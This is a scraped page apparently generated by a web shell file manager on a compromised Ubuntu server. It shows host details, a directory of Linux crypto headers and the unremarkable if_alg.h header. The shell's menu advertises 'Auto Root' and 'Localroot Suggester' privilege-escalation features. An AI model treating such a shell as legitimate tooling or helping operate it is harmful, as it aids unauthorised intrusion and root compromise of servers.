Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
linux-headers-4.4.0-119 /
include /
crypto /
Delete
Unzip
Name
Size
Permission
Date
Action
internal
[ DIR ]
drwxr-xr-x
2018-04-05 07:11
ablk_helper.h
734
B
-rw-r--r--
2016-01-11 00:01
aead.h
18.71
KB
-rw-r--r--
2016-01-11 00:01
aes.h
1019
B
-rw-r--r--
2016-01-11 00:01
akcipher.h
11.52
KB
-rw-r--r--
2016-01-11 00:01
algapi.h
10.31
KB
-rw-r--r--
2016-01-11 00:01
authenc.h
845
B
-rw-r--r--
2016-01-11 00:01
b128ops.h
2.41
KB
-rw-r--r--
2016-01-11 00:01
blowfish.h
376
B
-rw-r--r--
2016-01-11 00:01
cast5.h
551
B
-rw-r--r--
2016-01-11 00:01
cast6.h
597
B
-rw-r--r--
2016-01-11 00:01
cast_common.h
193
B
-rw-r--r--
2016-01-11 00:01
chacha20.h
595
B
-rw-r--r--
2016-01-11 00:01
compress.h
4.03
KB
-rw-r--r--
2016-01-11 00:01
cryptd.h
1.84
KB
-rw-r--r--
2016-01-11 00:01
crypto_wq.h
122
B
-rw-r--r--
2016-01-11 00:01
ctr.h
524
B
-rw-r--r--
2016-01-11 00:01
des.h
503
B
-rw-r--r--
2016-01-11 00:01
drbg.h
8.57
KB
-rw-r--r--
2016-01-11 00:01
gf128mul.h
8.04
KB
-rw-r--r--
2016-01-11 00:01
ghash.h
342
B
-rw-r--r--
2018-04-02 18:07
hash.h
29.56
KB
-rw-r--r--
2018-04-02 18:07
hash_info.h
1.13
KB
-rw-r--r--
2018-04-02 18:07
if_alg.h
2.46
KB
-rw-r--r--
2018-04-02 18:07
lrw.h
1.18
KB
-rw-r--r--
2016-01-11 00:01
mcryptd.h
2.33
KB
-rw-r--r--
2018-04-02 18:07
md5.h
401
B
-rw-r--r--
2016-01-11 00:01
null.h
303
B
-rw-r--r--
2016-01-11 00:01
padlock.h
649
B
-rw-r--r--
2016-01-11 00:01
pcrypt.h
1.4
KB
-rw-r--r--
2016-01-11 00:01
pkcs7.h
1.2
KB
-rw-r--r--
2016-01-11 00:01
poly1305.h
977
B
-rw-r--r--
2016-01-11 00:01
public_key.h
2.79
KB
-rw-r--r--
2018-04-02 18:07
rng.h
6.59
KB
-rw-r--r--
2016-01-11 00:01
scatterwalk.h
2.91
KB
-rw-r--r--
2016-01-11 00:01
serpent.h
673
B
-rw-r--r--
2016-01-11 00:01
sha.h
2.66
KB
-rw-r--r--
2016-01-11 00:01
sha1_base.h
2.47
KB
-rw-r--r--
2016-01-11 00:01
sha256_base.h
3.03
KB
-rw-r--r--
2016-01-11 00:01
sha512_base.h
3.19
KB
-rw-r--r--
2016-01-11 00:01
skcipher.h
15.63
KB
-rw-r--r--
2018-04-02 18:07
twofish.h
716
B
-rw-r--r--
2016-01-11 00:01
vmac.h
2.12
KB
-rw-r--r--
2016-01-11 00:01
xts.h
1.19
KB
-rw-r--r--
2018-04-02 18:07
Save
Rename
/* * if_alg: User-space algorithm interface * * Copyright (c) 2010 Herbert Xu <herbert@gondor.apana.org.au> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * */ #ifndef _CRYPTO_IF_ALG_H #define _CRYPTO_IF_ALG_H #include <linux/compiler.h> #include <linux/completion.h> #include <linux/if_alg.h> #include <linux/scatterlist.h> #include <linux/types.h> #include <net/sock.h> #define ALG_MAX_PAGES 16 struct crypto_async_request; struct alg_sock { /* struct sock must be the first member of struct alg_sock */ struct sock sk; struct sock *parent; unsigned int refcnt; unsigned int nokey_refcnt; const struct af_alg_type *type; void *private; }; struct af_alg_completion { struct completion completion; int err; }; struct af_alg_control { struct af_alg_iv *iv; int op; unsigned int aead_assoclen; }; struct af_alg_type { void *(*bind)(const char *name, u32 type, u32 mask); void (*release)(void *private); int (*setkey)(void *private, const u8 *key, unsigned int keylen); int (*accept)(void *private, struct sock *sk); int (*accept_nokey)(void *private, struct sock *sk); int (*setauthsize)(void *private, unsigned int authsize); struct proto_ops *ops; struct proto_ops *ops_nokey; struct module *owner; char name[14]; }; struct af_alg_sgl { struct scatterlist sg[ALG_MAX_PAGES + 1]; struct page *pages[ALG_MAX_PAGES]; unsigned int npages; }; int af_alg_register_type(const struct af_alg_type *type); int af_alg_unregister_type(const struct af_alg_type *type); int af_alg_release(struct socket *sock); void af_alg_release_parent(struct sock *sk); int af_alg_accept(struct sock *sk, struct socket *newsock); int af_alg_make_sg(struct af_alg_sgl *sgl, struct iov_iter *iter, int len); void af_alg_free_sg(struct af_alg_sgl *sgl); void af_alg_link_sg(struct af_alg_sgl *sgl_prev, struct af_alg_sgl *sgl_new); int af_alg_cmsg_send(struct msghdr *msg, struct af_alg_control *con); int af_alg_wait_for_completion(int err, struct af_alg_completion *completion); void af_alg_complete(struct crypto_async_request *req, int err); static inline struct alg_sock *alg_sk(struct sock *sk) { return (struct alg_sock *)sk; } static inline void af_alg_init_completion(struct af_alg_completion *completion) { init_completion(&completion->completion); } #endif /* _CRYPTO_IF_ALG_H */